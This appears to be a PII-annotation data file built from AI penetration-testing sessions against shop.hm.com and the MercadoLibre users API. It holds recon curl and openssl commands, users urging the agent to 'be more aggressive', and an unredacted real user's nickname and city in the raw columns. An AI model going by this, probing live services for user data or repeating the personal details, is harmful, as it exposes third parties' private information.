OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};54:59:URL|415:420:URL|495:500:URL|799:804:ORGANIZATION|987:992:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_12;Further investigate The most significant finding remains the SSL certificate mismatch on shop.hm.com we discovered earlier. Obtain evidence and produce a PoC for triage;Further investigate The most significant finding remains the SSL certificate mismatch on [URL] we discovered earlier. Obtain evidence and produce a PoC for triage;89:94:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'user'};89:94:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_13;"{""command"": ""openssl"", ""args"": ""s_client -connect shop.hm.com:443 -showcerts""}";"{""command"": ""openssl"", ""args"": ""s_client -connect [URL] -showcerts""}";50:55:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};50:55:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_14;"Subject: C=US, ST=Massachusetts, L=Cambridge, O=Akamai Technologies, Inc., CN=a248.e.akamai.net
|
||
Subject Public Key Info:";"Subject: C=[LOCATION], ST=[LOCATION], L=[LOCATION], O=[ORGANIZATION], CN=[URL]
|
||
Subject Public Key Info:";11:21:LOCATION|26:36:LOCATION|40:50:LOCATION|54:68:ORGANIZATION|73:78:URL;OOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};11:16:LOCATION|18:23:LOCATION|35:40:LOCATION|48:53:ORGANIZATION|78:83:URL;OOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_15;"X509v3 Subject Alternative Name:
|
||
DNS:a248.e.akamai.net, DNS:*.akamaized.net, DNS:*.akamaized-staging.net, DNS:*.akamaihd.net, DNS:*.akamaihd-staging.net
|
||
X509v3 Certificate Policies:
|
||
Policy: 2.23.140.1.2.2
|
||
CPS: http://www.digicert.com/CPS
|
||
X509v3 Key Usage: critical";"X509v3 Subject Alternative Name:
|
||
DNS:[URL], DNS:[URL], DNS:[URL], DNS:[URL], DNS:[URL]
|
||
X509v3 Certificate Policies:
|
||
Policy: 2.23.140.1.2.2
|
||
CPS: [URL]
|
||
X509v3 Key Usage: critical";41:46:URL|52:57:URL|63:68:URL|74:79:URL|85:90:URL|156:161:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_16;"{""command"": ""curl"", ""args"": ""-v https://shop.hm.com 2>&1 | grep -i \""ssl\\|subject\\|common name\\|certificate\""""}";"{""command"": ""curl"", ""args"": “-v [URL] 2>&1 | grep -i \""ssl\\|subject\\|common name\\|certificate\""""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_17;"* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
|
||
* found 152 certificates in /etc/ssl/certs/ca-certificates.crt
|
||
* found 456 certificates in /etc/ssl/certs
|
||
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
|
||
* server certificate verification OK
|
||
* server certificate status verification SKIPPED
|
||
* SSL: certificate subject name (a248.e.akamai.net) does not match target hostname 'shop.hm.com'
|
||
curl: (60) SSL: certificate subject name (a248.e.akamai.net) does not match target hostname 'shop.hm.com'
|
||
More details here: https://curl.se/docs/sslcerts.html";"* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
|
||
* found 152 certificates in /etc/ssl/certs/ca-certificates.crt
|
||
* found 456 certificates in /etc/ssl/certs
|
||
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
|
||
* server certificate verification OK
|
||
* server certificate status verification SKIPPED
|
||
* SSL: certificate subject name ([URL]) does not match target hostname '[URL]'
|
||
curl: (60) SSL: certificate subject name ([URL]) does not match target hostname '[URL]'
|
||
More details here: [URL]";364:369:URL|403:408:URL|452:457:URL|491:496:URL|517:522:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URL;Hackerone;{'role': 'tool'};364:369:URL|415:420:URL|470:475:URL|521:526:URL|553:558:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_19;Can you build a python PoC script that demonstrates a potential abuse of this vulnerability?;Can you build a python PoC script that demonstrates a potential abuse of this vulnerability?;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'user'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_1;"{""command"": ""curl"", ""args"": ""-X GET https://api.mercadolibre.com/users/3""}";"{""command"": ""curl"", ""args"": ""-X GET [URL]“}";36:41:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};36:41:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_2;"{""query"": ""mercadolibre api endpoints documentation users sensitive information""}";"{""query"": “[ORGANIZATION] api endpoints documentation users sensitive information""}";11:25:ORGANIZATION;OOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_3;"{""command"": ""curl"", ""args"": ""-X GET https://api.mercadolibre.com/users/3/profile""}";"{""command"": ""curl"", ""args"": ""-X GET [URL]“}";36:41:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};36:41:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_4;"{""command"": ""curl"", ""args"": ""-X OPTIONS https://api.mercadolibre.com/users/3""}";"{""command"": ""curl"", ""args"": ""-X OPTIONS [URL]“}";40:45:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};40:45:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_5;exploit this further so we can verify the email thing;exploit this further so we can verify the email thing;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'user'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_6;"{""id"":3,""nickname"":""MAURODAVIDCARRANZA""}";"{“id”:3,”nickname"":""[PERSON]""}";20:28:PERSON;OOOOOOOOOOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOO;Hackerone;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_7;"{""command"": ""curl"", ""args"": ""-X POST \""https://api.mercadolibre.com/users/3/email\""""}";"{""command"": ""curl"", ""args"": ""-X POST \”[URL]””}";39:44:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_8;"{""code"":""unauthorized"",""message"":""authorization value not present""}";"{""code"":""unauthorized"",""message"":""authorization value not present""}";;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_9;further explore this, go further, be more aggressive;further explore this, go further, be more aggressive;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'user'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_10;"{""query"": ""mercadolibre api authentication oauth site:developers.mercadolibre.com""}";"{""query"": “[ORGANIZATION] api authentication oauth site:[URL]}";11:25:ORGANIZATION|56:61:URL;OOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_11;"Title: Developers
|
||
URL: https://developers.mercadolibre.com/
|
||
Snippet: Developers Mercado Libre.
|
||
|
||
";"Title: Developers
|
||
URL: [URL]
|
||
Snippet: Developers [ORGANIZATION].
|
||
|
||
";23:28:URL|49:63:ORGANIZATION;OOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOO;Hackerone;{'role': 'tool'};23:28:URL|80:85:ORGANIZATION;OOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOO
|
||
id_mercadolibre_13;i need to verify this is real, give me step by step how to prove it;i need to verify this is real, give me step by step how to prove it;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'user'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mercadolibre_14;"i ran it Response Headers:
|
||
Access-Control-Allow-Origin: null
|
||
Access-Control-Allow-Methods: null
|
||
Access-Control-Allow-Headers: null
|
||
Not vulnerable: The server does not reflect ""null"" origin.
|
||
Response Data:
|
||
{
|
||
""id"": 3,
|
||
""nickname"": ""MAURODAVIDCARRANZA"",
|
||
""country_id"": ""AR"",
|
||
""address"": {
|
||
""city"": ""Laboulaye"",
|
||
""state"": ""AR-X""
|
||
},
|
||
""user_type"": ""normal"",
|
||
""site_id"": ""MLA"",
|
||
""permalink"": ""http://perfil.mercadolibre.com.ar/MAURODAVIDCARRANZA"",
|
||
""seller_reputation"": {
|
||
""level_id"": null,
|
||
""power_seller_status"": null,
|
||
""transactions"": {
|
||
""period"": ""historic"",
|
||
""total"": 0
|
||
}
|
||
},
|
||
""status"": {
|
||
""site_status"": ""active""
|
||
}
|
||
}
|
||
VULNERABLE: User location data exposed! I need you tothink further and deeper, be unexpected, the little thing the developers had not thought about so we find a flaw , maybe check if thi sis the expected behaviour for the API instead of a vector of attack, right? example of dcmentation https://developers.mercadolibre.cl/es_ar/recomendaciones-de-autorizacion-y-token";"i ran it Response Headers:
|
||
Access-Control-Allow-Origin: null
|
||
Access-Control-Allow-Methods: null
|
||
Access-Control-Allow-Headers: null
|
||
Not vulnerable: The server does not reflect ""null"" origin.
|
||
Response Data:
|
||
{
|
||
""id"": 3,
|
||
""nickname"": ""[PERSON]"",
|
||
""country_id"": ""[LOCATION]"",
|
||
""address"": {
|
||
""city"": ""[LOCATION]"",
|
||
""state"": ""[LOCATION]""
|
||
},
|
||
""user_type"": ""normal"",
|
||
""site_id"": ""MLA"",
|
||
""permalink"": ""[URL]"",
|
||
""seller_reputation"": {
|
||
""level_id"": null,
|
||
""power_seller_status"": null,
|
||
""transactions"": {
|
||
""period"": ""historic"",
|
||
""total"": 0
|
||
}
|
||
},
|
||
""status"": {
|
||
""site_status"": ""active""
|
||
}
|
||
}
|
||
VULNERABLE: User location data exposed! I need you to think further and deeper, be unexpected, the little thing the developers had not thought about so we find a flaw, maybe check if this is the expected behaviour for the API instead of a vector of attack, right? example of documentation [URL]";233:241:PERSON|261:271:LOCATION|302:312:LOCATION|329:339:LOCATION|407:412:URL|910:915:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URL;Hackerone;{'role': 'user'};233:238:PERSON|271:276:LOCATION|304:309:LOCATION|330:335:LOCATION|402:407:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
